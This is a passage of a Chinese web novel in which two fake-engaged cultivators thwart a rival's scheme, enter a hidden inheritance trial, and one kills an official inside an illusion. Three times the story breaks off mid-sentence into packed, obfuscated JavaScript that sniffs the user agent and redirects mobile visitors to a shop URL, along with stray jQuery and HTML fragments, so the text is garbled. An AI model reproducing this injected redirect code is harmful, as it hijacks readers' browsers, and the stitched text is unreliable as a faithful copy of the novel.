沈辞秋提剑,那一战在他倒下之前,他没让温阑再受伤。
撑到长老把他们救回去后,沈辞秋躺了三天三夜。
后来宗门联姻,玄阳尊和诸位长老定下温阑,沈辞秋也是愿意的。
他不明白什么是情爱,如何才能算得上喜欢一个人,但他愿意用自己的方法去对温阑好,即便他迟钝了些,可未来的时间那么长,他总有一天能学会去真心爱上一个人。
可是,温阑亲手掐断了他们的关系。
沈辞秋在读懂情爱之前,先看明白了他这个人。
后来回想,就连那场混战中带给他的感动,也实在金玉其表败絮其中,因为持剑挡在最前方的还是沈辞秋,而温阑所在的位置,随时能丢下沈辞秋安全逃脱。
为了几句话就牢牢将人护在身后的自己才是愚不可及。
现在又告诉他,不会给他带来流言蜚语和麻烦?
那上辈子跟慕子晨卿卿我我让无数流言飞入他耳朵里的是谁,狗吗?
沈辞秋眸子里淬了霜,他袖袍底下的手指收紧,在温阑的笑容里反反复复把指节碾过好几次,他实在不懂怎么有人能如此厚颜无耻。
……不,正是因为厚颜无耻,所以才做得出来那些事。
温阑与郁魁不同,他是鼎剑宗的人,沈辞秋没法找什么错处罚他,他可以对温阑态度疏离,但要是现在就完全撕破脸,一旦温阑对他心生警惕,下手杀人的机会就会减少。
沈辞秋重重按过指尖,提醒自己,再缓缓松开,没人知道他方才都想过了些什么,那深藏的寒意只有他自己知晓,旁人只听到他用平常那淡淡的口吻问:“所以温少主叫住我是有何事?”
温阑听见他松口,顿时舒出口气,他又是守着沈辞秋醒来,又是三番两次主动靠近,可算是得到点回应了。
不知是不是因为这次的回应过于来之不易,温阑竟然品出股别样的趣味,有点像他初次发现沈辞秋会因为别人的好意而怔愣无措的时候。
以前怎么没发现沈辞秋身上还有这么多值得赏玩的地方呢,是因为他现在成了别人的未婚夫?温阑想着,在心中傲慢一笑。
无妨,他会把沈辞秋夺回来,跟一个废物的婚约有的是办法解除。
温阑志得意满,面上没有表露:“先恭喜你修为更进一步,我有些时日没来玉仙宗了,颇为想念繁花峰的风景,不如我们去那边看看,边走边聊?”
沈辞秋刚想说我要练剑恕不奉陪,就听温阑仿佛无意道:“啊,我先前过来,看到七殿下好像和一个弟子也正在往繁花峰去。”
沈辞秋到嘴边的话一停。
谢翎不管去哪儿、和谁做什么,只要没捅出被旁人逮住的篓子,就跟他没关系,爱干什么干什么。
但对如今深知温阑品性的沈辞秋来说,能察觉出温阑话语里的刻意。
他以为自己和谢翎感情甚笃,搬出谢翎,就是要把自己往繁花峰引。
繁花峰里此刻有什么值得温阑费心思的?
沈辞秋倒真想见识见识了。
沈辞秋改口答应了:“好。”
16.第十六章
繁花峰常年花团锦簇,美不胜收,柳暗花明拨开枝叶,就能望见成片的花海,风一吹过,柔软的波涛沿着花瓣徐徐铺开,各色花朵轻颤,风与蝶共同起舞,生机摇曳。
偶也能见异色花潭、蓝色垂天花瀑,从枝叶繁茂的高处倾泻而下,宛若天水银河,当真是如梦似幻,山峰的空气中都弥漫着馨香清甜,沁人肺腑。
因此,繁花峰实乃玉仙宗年轻弟子们的幽会圣地之一。
少男少女们情窦初开,彼此红着脸勾着手指头,若是山间起点薄雾,那更是瑶池仙境,连带着人也能隐秘欢喜。
尚未出口的爱意、隔着薄雾的暧昧,最能勾人心跳不止。
但不怎么跟弟子们闲聊的高山雪沈辞秋并不知道这点。
他只知道繁花峰景色不错,盛产可入药的灵植。
初来乍到的谢翎也不知道。
他是来找玉仙宗的宝贝的。
玉仙宗某老祖仙逝前,说是给弟子们留下了一道机缘,就藏在玉仙宗内,有缘者得,当时玉仙宗诸位真是就差把玉仙宗上上下下掘地三尺了,可也没找到所谓的机缘。
怪老祖一生都爱谜语人,也怪玉仙宗实在太大了。
山峰就有上千座,其中还不乏许多无名峰,掘地三尺是个夸张说法,找起来的时候,大部分地方只能用神识扫过,小部分地方才能一点点踏足找过去,可老祖既然是藏东西,自然不是那么容易被神识扫到的。
尤其是修为不够的弟子的神识。
宗门的长老们嘴上说着不参与,给小辈机会,实际上一部分为了弟子在找,一部分为了自己也在找,大家都下场,也没能碰见。
有人猜测,机缘或许已经被谁捡走了,只是藏着掖着没说。
只有谢翎知道,机缘还藏在繁花峰里的某处。
机缘是分魂化身之法。
这可是绝佳利器,顶级的功法,由这位老祖自创,他一生没收徒,如此绝学却采取了超随机的继承方式,即便没人能找到机缘他也不在乎,可见不仅爱玩谜语,还挺洒脱。
谢翎无论如何也要得到分魂法,后期打一些反派还有保命可是有大用。
可他不知道机缘的具体位置,原著中,主角误入一花丛,直接就碰上了机缘。
问题就是,繁花峰哪儿哪儿都是花丛。
谢翎又把没有地图功能的系统蛐蛐了一遍。
他搭乘黑鹰的顺风剑,找繁花峰的过程中都差点迷路,问了好几个人,最后还好有个小弟子也要来繁花峰,就顺路带他们过来了。
到了山峰底下,谢翎以为他们要跟这位带路弟子分道扬镳了,刚道过谢,却听小弟子道:“你既然是来看风景的,不如我们一道走吧,我要采花露,对这里风景好的花海也比较熟。”
若这位弟子大大方方说话,谢翎不会觉得有什么,但他用手指微微一拢发丝,含羞带怯地轻轻给谢翎递了个眼神……这就有点问题了。
谢翎握着折扇的手一顿。
那小弟子见谢翎瞧着他,又局促且不好意思地垂下眸子,手指还不安地动了动。
谢翎战术性微微后仰:……嘶。
谢翎对自己的颜值很有自知之明,他敢大大方方承认自己英俊帅气,玉树临风。
别人可以骂他不要脸,但不可能骂他丑。
有些人见了他这张脸就喜欢、害羞,很正常。
但这是在玉仙宗的地盘,自己还顶着沈辞秋未婚夫的名头,即便有弟子为自己的颜值倾心,顶多也就是暗恋,不可能敢直接挖沈辞秋墙角吧?
所以这位弟子可能只是单纯见了俊美男子从而害羞,没有别的想法?
亦或者……又是谁找来故意接近他的暗桩?
不确定,再看看。
谢翎心思转过,折扇一抬:“多谢,那就有劳。”
弟子腼腆一笑:“不客气。”
黑鹰跟在后面当个木头,三人进了繁花峰。
谢翎只打眼随意一瞧,别的不说,繁花峰景色是真不错,尤其当他们走过一条小道,穿过层层叠盖的树丛后,眼前霍然开朗,一片粉白的花海猝不及防闯入眼帘,绚烂的花带着芬芳扑面而来,谢翎琥珀色的双眸都跟着一亮。
真美!
繁花无觅处,金风送天香。
谢翎轻轻吸了口气,呼吸中都是清甜的滋味。
如果是把这样花丛一点点找过去,最起码不会太糟心。
那玉仙宗小弟子看到谢翎面露惊叹时,灿若星辰的眸子中盛满笑意,点亮了高高眉骨投下的阴影,妖族七殿下有着锋利俊美的下颌线,嘴角一笑,就格外疏朗。
小弟子这回心跳是真的漏了半拍,红了红脸蛋。
他领着谢翎往里走,自己挑着花朵,拿玉瓶装花露,还时不时朝谢翎偷看。
但谢翎好像在认认真真赏景,没怎么看他。
小弟子难免觉得失落,就在这时,他的传音玉牌有了来音。
小弟子顿时精神一振,赶紧把那点失落扫了出去,他装作很自然地走到谢翎身侧,要去取他近处一朵花的花露,但刚弯了点腰,一不小心没站稳,失去重心倒下。
小弟子:“哎呀!”
这个距离,这个身位,谢翎只要抬手轻轻扶一下,就能避免小弟子跟地面来个亲密接触,小弟子已经做好了只要谢翎伸手,他就立刻扒拉上去的准备。
哪怕谢翎只想伸个手掌规矩地拉一拉,他也能拉扯出亲切暧昧的姿势。
小弟子很有自信。
然后……然后他就直直摔了下去。
谢翎居然就这么眼睁睁看着,无动于衷。
小弟子:“……”
不是?
他摔倒在地,愣愣的、难以置信地望着谢翎,一时傻眼,没了动静。
谢翎好整以暇摇了摇折扇,心想:兄弟,你这也太刻意了。
如果假摔可以打分,我只能给你个零蛋。
他在妖皇宫那吃人不吐骨头的地方生活许久,见识了各类细作,清冷妩媚可爱等等款式应有尽有,只有你想不到的,没有他们拿不出的,大家为了前途或者性命使劲浑身解数,这种等级的假摔放妖皇宫里,是要被拿来当反面教材的。
还要反复拎出来被鞭尸的那种。
谢翎站在原地,低头看他,似乎很惊讶:“你没事吧,怎么摔了,小心点。”
小弟子:“……”
他磨了磨牙,勉强挤出一个笑来:“嗯,没事……七殿下能拉我一把吗?”
谢翎礼貌:“可以的。”
小弟子刚松一口气,打算伸手,就听谢翎喊:“黑鹰。”
黑鹰木着一张脸上前,拽着小弟子的胳膊就把人拉起来稳稳墩好,利索做完后,又站回了自己原本的位置。
谢翎谦虚:“不客气。”
小弟子:“…………”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480890|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>不是,你、我,他娘的还能这么干!?
黑鹰拽得又快又稳,小弟子目瞪口呆,就在这时候,花海边上的树丛枝叶一晃,两道身影走了出来。
只见一袭月白长袍褪开郁郁葱葱的树荫,繁花柔软地缀上他纤瘦的脚踝,颀长的身姿没入花海,连风也要亲吻他如雪的面颊,灼灼芳菲,锦簇胭脂雪。
人比花更艳。
……是沈辞秋。
微风轻拂,花浪轻摇,谢翎脑子里被刷了屏,好似千言万语奔腾而过,但实际上拎出来看只有两行有效内容:
沈辞秋怎么在这儿?
这张脸绝了!!
别人都是花衬人,唯有沈辞秋,是人映花。
换个地点场景再看一遍那张脸,次次都能发现新的美。
至于沈辞秋身后走出来的温阑,一开始压根儿没能进入谢翎眼睛里。
这么美的画面,快让他用眼睛多拍两张,闲杂人等自动过滤。
没办法,爱美的神鸟是这样的。
沈辞秋看到谢翎,也愣了愣。
他穿过树阴,只见花影中央,一双琥珀色的眸子在看到他的那刻霎时点了天光,明亮如星。
沈辞秋毫不怀疑,此刻星辰里盛着自己。
他顿了下,看了看谢翎,又看了看他旁边的一个陌生玉仙宗小弟子。
那小弟子把目光第一时间投向了自己身边的温阑,又恍然飞快掩饰下去,即便迅速移开,也被沈辞秋捕捉到了一丝端倪。
沈辞秋:他跟温阑认识?
加上温阑先前刻意提到的话,沈辞秋明白了,或许温阑就想让他看到谢翎跟其他人在一块儿的样子。
别说,这位小弟子眉目看起来很乖巧,有一点点慕子晨的意思。
但温阑算错了。
别说谢翎只是跟人普普通通站在一起,就是他俩抱在一起,沈辞秋眼都不会眨一下。
毕竟他跟谢翎的交易里,两人合适的时候就会解除婚约,谢翎喜欢谁,那是他的自由。
温阑如果想从这方面入手,好让他对谢翎心灰意冷,从而解除婚约,那可真是徒劳无功。
因为他跟谢翎之间的亲昵都是假的,不过是他俩逢场作戏,演给外人看。
温阑瞧着小弟子和谢翎站得规矩,眼中闪过一抹不悦,但藏得很好,没让其他人看见。
沈辞秋面色平静,朝谢翎道:“来看风景?”
“对,来看你……咳,不是,”谢翎回神,赶紧把口误混了过去,“来看风景。”
沈辞秋:“……”
他一时竟然分不清谢翎到底是又在演他俩琴瑟和鸣,还是没留神说了真话。
谢翎轻咳一声:“你也来看风景?”
沈辞秋:“……嗯。”
谢翎刚想说那你继续我不打扰,眼角余光瞥到温阑,又惊觉这句话不符合自己与沈辞秋“一见倾心”的人设,立刻咽了回去。
好的,谢翎终于意识到了温阑的存在。
而沈辞秋好像完全忘了自己旁边还有温阑这么个人:“一起走走?”
我不我还要找机缘!——这是谢翎内心的哀嚎。
“好。”——这是谢翎说出口的话。
谢翎含泪应下大反派的邀约,不然呢,说我要找你们玉仙宗老祖的机缘你们别来打扰我吗?
被完全晾在旁边的温阑:“……”
真当我是空气?
17.第十七章
并不想被沈辞秋当成透明人的温阑深呼吸,刚要开口,沈辞秋却朝着谢翎走去,而谢翎还一抬折扇,非常自然地替他挡住了一只扑过来的蝴蝶。
那蝴蝶在谢翎赤金的扇子上绕了一圈,被风轻轻一带,晕头转向飞走了。
两人站在一块儿,像对玉做的人,格外般配,沈辞秋傲雪清霜,谢翎朗若辰星,看着可真是天作之合。
但越是如此,温阑就越觉得碍眼。
温阑缓缓将心口憋闷的浊气吐了出来,带起寻常的笑容,也跟着走过去,与谢翎打招呼:“七殿下好雅兴,与人来繁花峰同游?”
谢翎不知道繁花峰是有情人圣地,但直觉温阑话里有坑,采取了不会出错的回话:“想独自来看看,但不识路,恰好遇到这位师兄好心带路,我很感谢他。”
温阑见谢翎不上当,又看到沈辞秋毫无反应,便换了个路子:毕竟他想搅和两人的感情,只要沈辞秋和谢翎任何一人对对方心生厌恶,他们的婚约走不到最后,都算温阑成功。
带路的玉仙宗小弟子确实是温阑安排的,还专门挑了个温柔可爱,理应是谢翎喜欢的模样。
小弟子运气也不错,不费吹灰之力就跟谢翎一起来了繁花峰,可偏偏在接近人的道路上撞上了钢板。
暂时没能引起沈辞秋不快,温阑就转而挑拨谢翎。
“原来如此,我和阿辞一路从校场过来,也是许久没看过繁花峰的景色了,正好同游。”
谢翎听得出来温阑的重点在哪儿,重点在他跟沈辞秋同游。
真是炫耀得高调又内敛,真会玩小把戏。
他笑笑,假装听不懂,反倒是沈辞秋开口:“温少主说你在附近,所以我是过来看你的。”
温阑:“……”
谢翎简直差点想直接笑出声了:当场被打脸的滋味如何啊温少主!
温阑跟他无怨无仇,虽然大概被当成了情敌吧,但既然没像郁魁那条疯狗做什么出格的事,谢翎也没想把他怎么样。
只是如果温阑真的是个朝三暮四只会践踏别人真心的浪子,那谢翎还是很乐意在旁边看看他笑话的。
谢翎瞧不起人渣。
喜欢就是喜欢,不爱一个人了,就明明白白告诉对方,分手后再去爱下一个,很难吗?
当然,如果别人知道真相,就是愿意多个人一块儿纠缠,谢翎不理解但是尊重他人命运,可如果靠哄靠骗,脚踏几条船,那就没意思了,也不怕浪太大,拍死在沙滩上。
不过很明显,沈辞秋不想跟温阑纠缠。
谢翎知道沈辞秋又在开演了,反正他豁得出去,笑盈盈接戏:“嗯,我好看吗?”
沈辞秋:“……”
在不要脸这点上,谢翎果然还是遥遥领先。
跟谢翎搭戏,一不留神就容易被对方拽着狂奔,很难说会奔到哪条道上去。
但意外的是,无论拿来气郁魁还是温阑,效果好像都很不错,所以即便言语上被谢翎占点便宜,沈辞秋也可以接受。
沈辞秋:“好看。”
谢翎唰啦清脆将折扇抖开,仿佛抖开了孔雀的尾巴,微抬下巴昂起头,衣服上的孔雀翎配合地熠熠生辉,流光溢彩。
沈辞秋差点没能演下去,默默移开了眼。
他好像看到了一只华贵的鸟精神抖擞地开屏,肆无忌惮要闪瞎所有人的眼。
反正温阑看上去就十分眼疼。
但他也不是个甘心败退的主儿,于是也走到沈辞秋身边,和谢翎形成左右对峙站位,谁也不让。
沈辞秋就在他俩中间。
小弟子看着三人并肩往前走,觉得场面有点刺激,也有点古怪,但现在他最尴尬,拿不准主意,不知道该不该继续跟他们一道。
至于那位始终保持在最合适距离又没开过口的护卫,处境比他好多了。
小弟子张了张口:“两位师兄,七殿下,我……”
三人目光顿时齐刷刷落在他身上,小弟子一颤,紧张起来,咽了咽嗓子,才继续道:“我还要在此继续采花露,就不与诸位一道了。”
温阑念头转得很快:“横竖正清闲,不如我们帮你,怎么说你也帮七殿下引了路,七殿下,一起?”
谢翎微微一笑,却不按套路出牌:“多谢帮忙引路,这瓶花露你收下。”
想不到吧,他直接用钱感谢,不用花时间!穿来一年里他屯了无数东西,要什么没有?
想道德绑架?不好意思,他不接招。
他在小弟子目瞪口呆的眼神里把花露放到他手心:“温少主真是君子之风热心助人,那么你俩慢慢采花露,我们不打扰,这就先走一步了。”
温阑也整个愣住了:“我……”
“多谢温少主对我玉仙宗弟子照拂,”沈辞秋淡淡一点头,谢得毫无诚意,说完就转身,“我们走吧,谢师弟。”
谢翎摇着扇子晃着衣衫上的孔雀翎大步跟上:“来了。”
温阑:“……”
什么叫搬起石头打自己的脚,说出去的话泼出去的水,温阑自己说要帮忙,如果这会儿出尔反尔,那沈辞秋会怎么想?他可不愿意自己在沈辞秋眼中形象一落千丈。
就这么几息的功夫,沈辞秋和谢翎就出了花海,又走入一处林间,身影消失不见。
温阑袖袍底下的手捏紧成拳,咯咯作响。
玉仙宗小弟子小心翼翼看了看温阑的脸色,轻声道:“温、温少主,您说谢翎对沈师兄未必真心,让我试试他,但我今日见他们感情似乎不错,之后还、还要试吗?”
温阑转头,他尚在发怒,看向小弟子时面色沉如水,看得小弟子一惊,缩了缩脖子。
温阑重新打量着小弟子,有几分姿色,但不多。
也是,就算喜欢乖巧可爱的,也得看跟什么人比,小弟子比起沈辞秋还是差远了,换谁来选也不用犹豫。
或许得找个长得更好且性子乖顺的,再去试试,看谢翎还动不动心。
温阑缓缓压住火气,温和道:“暂时不必了,辛苦你了。”
小弟子听到他语调温润下来,这才敢重新抬头看他,也松了口气,方才为什么会觉得温少主可怕呢,应该是错觉吧。
*
这厢,沈辞秋和谢翎走到了另一处花田中,小道两旁是漫天的紫色幽夜兰,花瓣如翩跹的仙人裙摆,婀娜多姿。
沈辞秋停下脚步:“我下山去了。”
不在外人面前,他俩瞬间拉开距离。
没想到温阑想出来的把戏这么无趣,不过总归也给温阑添了堵,还成功甩开了他,沈辞秋要回去练剑了。
谢翎正愁不知该怎么把反派合理支开,闻言一喜,不敢把高兴表现得太明显,免得又被沈辞秋看出问题,一本正经道:“好,我再继续逛逛。”
他要做什么当然与沈辞秋无关,只是此刻两只白鹤恰巧落入花丛之中,翩翩起舞,沈辞秋不由多看了一眼,那两只鹤舒展身姿,竟是将额头亲昵地靠在了一块。
白鹤吻颈,一世一双。
沈辞秋看着,突然道:“你喜欢温柔可爱的人?”
谢翎握着扇子的手一僵:“呃,你听到了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14489329|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他在沈辞秋院子里跟温阑胡扯的鬼话,结果被沈辞秋听到了啊?
沈辞秋点头,这样的形容,他不可避免想到了慕子晨。
到目前为止,谢翎都是个很好的合作对象,他甚至不问自己为什么想杀郁魁,非常懂得分寸,很让人省心。
但如果谢翎之后也被慕子晨迷得神魂颠倒,为慕子晨所用……那么他们之间的交易只能作废。
慕子晨的爱慕者,他不需要。
风拂过沈辞秋的长发,他如玉的面颊在幽兰花海中显得愈发秾丽动人,他轻轻朝谢翎一点头:“祝你找到心仪之人,一世一双。”
白鹤仍在优雅起舞,幽兰那充满灵气闪烁荧光的花粉忽然被鹤舞扬起,星星点点在沈辞秋身后绽开,群星流转,而幽光之中沈辞秋一个回眸,胜过银河璨璨。
谢翎张了张口,觉得自己似乎应该说点什么。
但还没出声,眼前就是一晃,狂风骤起,吹起漫天花雨,待到风静,花海和白鹤都消失不见,他们脚底浮空,竟眨眼就置身在一副山水画中!
谢翎愣了愣,随后意识到,难不成碰上机缘了!
好消息,成功触发藏宝秘境;
坏消息,反派跟他一起进来了;
沈辞秋手上的银戒一闪,长鞭入手,警惕地打量起周围。
此刻有白雾悠悠飘过,一道身影于山水画中悠然斟茶,自饮自乐,他看着格外年轻,开口嗓音却有些沧桑。
“等了这么多年,总算有人进来了……嗯?怎么有两个?”
沈辞秋闻声而望,在细细打量过他的装束后,神情由警惕变成怔愣。
他见过这个人……的画像。
这就是传闻里在玉仙宗留下机缘的燃魂老祖?和画像上简直一模一样。
沈辞秋略一思忖,行了弟子礼:“见过老祖。”
喝茶的身影不是老祖本尊,只是燃魂老祖留在传承里的神识,等传承结束,他也得消散,老祖看到沈辞秋的腰牌,点点头:“嗯,是玉仙宗弟子,嚯,骨龄约莫十八,金丹大圆满,不得了啊,后生可畏。”
他又看向谢翎:“唔,一个小妖,你也有点意思。”
外界都道谢翎修为没救了,只有手握剧情的谢翎本人知道,他这是不破不立,自己血脉的秘密如今尚且无人知晓,只待日后一鸣惊人。
谢翎也行礼:“前辈好。”
原著中进来的只有谢翎一个,通过考核得到传承的自然也只有他,但现在还加上了沈辞秋……谢翎捏了把冷汗。
只希望这位前辈可一定要洒脱到底,别因为沈辞秋是玉仙宗弟子就选他不选我啊,这位日后可是要叛出宗门的,到时候就不是您徒孙了!
沈辞秋在这时,偏头轻轻看了谢翎一眼。
他上辈子死前,谢翎已经重新跻身天骄之列,名声大显,但没听说过谢翎来了玉仙宗,取走了人人都在找的机缘。
是谢翎瞒着所有人悄悄来过,还是事情已然改变?
他重生回来,要杀人复仇,温阑郁魁还有玄阳尊等人结局因他改变,合情合理,至于他与谢翎之间短暂的婚约,从长远和天地大势来看,理应微不足道,如沧海一粟,掀不起什么风波,解除后,也当不会对他们命运造成大影响。
可遇上燃魂老祖的传承已经是大气运,涉及造化。
沈辞秋抿紧唇线。
先是冰火双生珠,再来老祖的机缘,他和谢翎之间的因果,短短时日内,竟然迅速越缠越深。
这可不太妙。
问题出现在他身上,还是……谢翎身上?
18.第十八章
燃魂老祖端着茶杯,山水浮影在他们身前身后,头顶脚底缓缓流动,五光十色,似天地百川,又像渺渺云烟。
老祖饶有兴致问了句:“你俩什么关系?”
沈辞秋和谢翎对视一眼,两人谨慎开口:“未婚道侣。”
“噢。”燃魂老祖点点头,“年轻真好。罢了,不管有几个人进来,来者皆有缘,只要能通过我的考核,你们都能领走传承。”
谢翎顿时放下心来。
燃魂老祖也不多卖关子:“我留下的传承,正是我的分魂化身之法。”
沈辞秋呼吸一轻:果然!
当年燃魂老祖自创分魂化身之法,一战成名,不少人或威逼利诱,或直接围杀,就想要他交出功法,但老祖活着的时候撑住了,死了也没留下只言片语,虽然大家都猜测他放在了传承里,但当亲耳听到,依然会让心跳漏上半拍。
分魂化身不仅可攻肉身,还能刺向神识,哪怕修为境界不如人,也能用神识去战一战,可神识防守的法子多,进攻之术却太难,大多人的功法派不上用场,唯有燃魂老祖,算是开创了一个先河。
如果能得到分魂化身之法,以后对上玄阳尊,也能多几分胜算。
沈辞秋和谢翎各自有不同的心思。
“要习得分魂化身,就要有强大的神识和意志,因为届时会控制一个甚至多个自我,所以无论何时何地,须得牢守本心,”老祖点了点脑袋,“否则修炼没成,反倒先把自己脑子搞出毛病。”
简单来说,就是功法没学好,先成了精神分裂。
老祖将茶水朝外一泼,浅浅一杯茶竟骤然铺开一面宽广的水镜,老祖对着镜面道:“去吧,通过考核者,得我传承。”
沈辞秋和谢翎都毫不犹豫纵身一跃,入了水镜之中。
穿过水镜,衣衫却半点不湿,仿佛从高空坠落,却又好像从海底破水向上,日月星辰皆流过,恍惚间不知今夕何夕。
即便沈辞秋默念定心诀,也咬了咬舌尖,但于事无补,他的意识还是逐渐开始模糊,琉璃色眼眸中的霜雪慢慢褪去,剩下了茫然与恍惚。
不知过了多久,他空荡荡的心脏忽然坠地,晕眩地一个踉跄,骤然回魂。
沈辞秋抬起漂亮的双眼,迷茫地眨了眨眼,睫羽轻颤——
我,我是谁?
是……啊,是沈辞秋,是个……落魄的皇子。
水镜外,燃魂老祖瞧着画面,悠然一笑。
当一个人忘记来处,甚至被投入虚假的记忆和身份,他还能认清自己究竟是谁,做出符合真正本我的决定吗?
就让他看看吧。
而且接受考核的是两人,还是对儿未婚小道侣,说不定会让故事很有趣。
就让他拭目以待。
水镜内,沈辞秋按了按昏昏沉沉的头,心道自己可能是昨晚没睡好,一时糊涂了,不然人怎么会忘了自己是谁。
他是雪国七皇子,最不受宠,遭皇帝厌弃,母妃已逝,母族弱小,前段时间表弟闯了大祸,沈辞秋求情无门,皇帝绝不肯听他一言,走投无路下,沈辞秋只能来请求如今皇帝眼前的红人,礼部尚书。
可沈辞秋身无长物,唯有一张脸说得过去,恰好礼部尚书好男风,所以他只能来自荐枕席。
今天就是他与尚书定好的日子。
这与卖身有何异?
卖身,我?
沈辞秋琉璃色的眸子中闪过疑惑,自己被自己震惊了,我能做出卖身的事?
那表弟与自己当真表了八百里,是母族里旁支又旁支,自己受难时他们从不援手,如今他自己作死闯了祸,我却不惜给人侍寝也要为他求情?
我是个这么懦弱无能还不顾一切的圣人?
沈辞秋烟眉微蹙,论常情,他好像确实应该救表弟,但要问他此刻真实的想法,他只有一个念头……爱死不死,与我何干。
沈辞秋觉得哪里不太对劲。
他眼下在一间华贵的屋子里,翠阁红木,屏风与各色瓷器相映成趣,珠帘低垂,铜炉燃香,桌上已摆好了各色精致的糕点瓜果,以及金壶酒盏。
而沈辞秋被人打扮过,乌黑长发半垂半挽,好似带着倦起的慵懒无力,穿着一袭绯红的轻纱,如烟霞般轻轻地披在他如玉的雪肤上,薄如蝉翼,遮不住的修长小腿就白生生靠在贵妃榻上。
可堪一握的脚踝上系着条金链子,上面挂着个小铃铛,当沈辞秋无意识挪了挪腿,金铃就清脆又羞涩地摇起了声响。
好个欲拒还休的美人装扮。
衣服与人都好似待君采撷蹂躏的花,风光独好。
沈辞秋听得铃声,微动的长腿又立刻停住,他抬手摸了摸发间,挽着一根簪子,摸着也很精致。
他既然来了这里,必然已经下定决心,但是……沈辞秋抿紧了微红的唇,他心头涌起的为何不是害怕或者忐忑,而是觉得莫名愠怒与焦躁?
沈辞秋低头看了看自己的手。
肤如凝脂,看着就软弱无力。
他不知怎么想的,突然抬掌,朝着贵妃榻的扶手上一拍——
木榻纹丝不动,扶手完好无损,反而是他柔软的手心顿时鲜红一片。
沈辞秋:……疼。
是真疼,疼得他眼角一红,下意识就要疼出声,但不知为何他硬是咬住了牙关,把哼声给咽回去了。
他为什么觉得自己能一掌拍断扶手呢?
沈辞秋红着眼角想,今天的自己好像哪里都很奇怪。
正思索着,门口传来了人声。
沈辞秋莫名心慌,扯过衣裳就想遮住自己白皙的腿,奈何这衣服布料实在不够,而且真盖上去,也是半拢如云,轻薄红纱覆雪肤,反而更勾人心魄了。
尚书一进门,就听见金铃慌张乱响,美人无措的画面让他看得双眼发直,而后大笑:“七殿下,都到这份上了,您如今才害怕,是不是晚了?这可是你自愿的啊。”
七殿下这个称呼听得沈辞秋又是一顿。
好怪。
衣衫遮不住整个身子,沈辞秋确实有点慌乱,连手都开始发抖,但当他抬头看见尚书志得意满的模样,忽然想起了礼部尚书是个怎样的人。
鱼肉百姓,残害忠良,贪得无厌,是个罄竹难书的罪人,小人。
沈辞秋拉着红纱的手骤停。
他厌恶这个人,他不应该会做出卖身给他的选择。
可既然已经到了这里,事已至此,那就……
沈辞秋漂亮的眼眸悄然镇定了下来。
尚书走到贵妃榻前:“虽然害怕也别有风味,但我还是喜欢乖顺的,嗯?”
沈辞秋犹豫了下,似乎真的乖乖听话,柔顺地朝他张开手臂。
礼部尚书大喜,刚靠过去,什么都还没有碰上,浑身忽的一震——
一根金簪死死扎进了他的喉头,簪子的另一端,就握在那看似无力的玉白手中。
美人入刀,眸淬寒霜。
礼部尚书张口,却因为喉管被破,只能嗬嗬喘气,捂着脖子倒下,一个字也挤不出来。
鲜血溅到沈辞秋脸上、唇边,他抬头,指腹轻轻将唇边的血抹成一道艳丽的血痕,用尚书的命给自己上了浓艳的红妆,沈辞秋看着门口的另一个人,柔声问:“你也是来买我的?”
他取了金簪,墨发如瀑散在脑后,他长得那样美,发丝那样柔软,纤细的手腕看着分明只适合捏在手里把玩,可也就是他,眼也不眨取了礼部尚书的性命。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493949|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
门口的少年公子望着榻上美人,呼吸滞了滞。
半边面颊血点红妆,妖冶糜艳;半边面颊含霜胜雪,清冷似仙。
仙气与媚骨,竟能在一个人身上浑然天成。
那少年人折扇一收,好似终于回了魂,却不惊叫,也不逃跑,反而脚跟一勾,将门给关上了。
“非也,尚书说今日有好玩的,带我长长见识,岂料竟是殿下在此。”年少的公子哥儿朝刚杀完人的红衣美人展颜一笑,“我是谢翎,殿下可听过我?”
沈辞秋将金簪从尚书尸身上拔下,捏在手心,瞧着谢翎,淡淡点了点头:“如雷贯耳。你知道我?”
“宫宴曾远远瞧见过殿下风姿。”
“外面是不是说我纨绔废物,不思进取,混吃等死?”谢翎好像还挺自豪,摊手,“唉,没办法,我也不想这样,但我好像就是这么个人。”
谢府的小侯爷,有个好出身,但不学无术,全靠败家,京城第一纨绔。
沈辞秋抬腿,将尚书尸身随意踢了下去,行动间,红纱遮不住的雪若隐若现,他见谢翎没有上前靠近自己的意思,将簪子一扔:“你报官吧。”
俨然一副无谓等死的模样。
谢翎没动:“我为什么要报官?”
沈辞秋冰冷的双眼终于多了点别的颜色,血色从他眼睛里稍退了,他周身危险的疯劲缓缓沉下来,轻轻打量这个知名纨绔,没作声,只拿还沾着血的手指隔空一点地上的尸体。
那血仿佛将他的指尖涂抹了豆蔻。
意思很明显,我杀了人,你看不见?
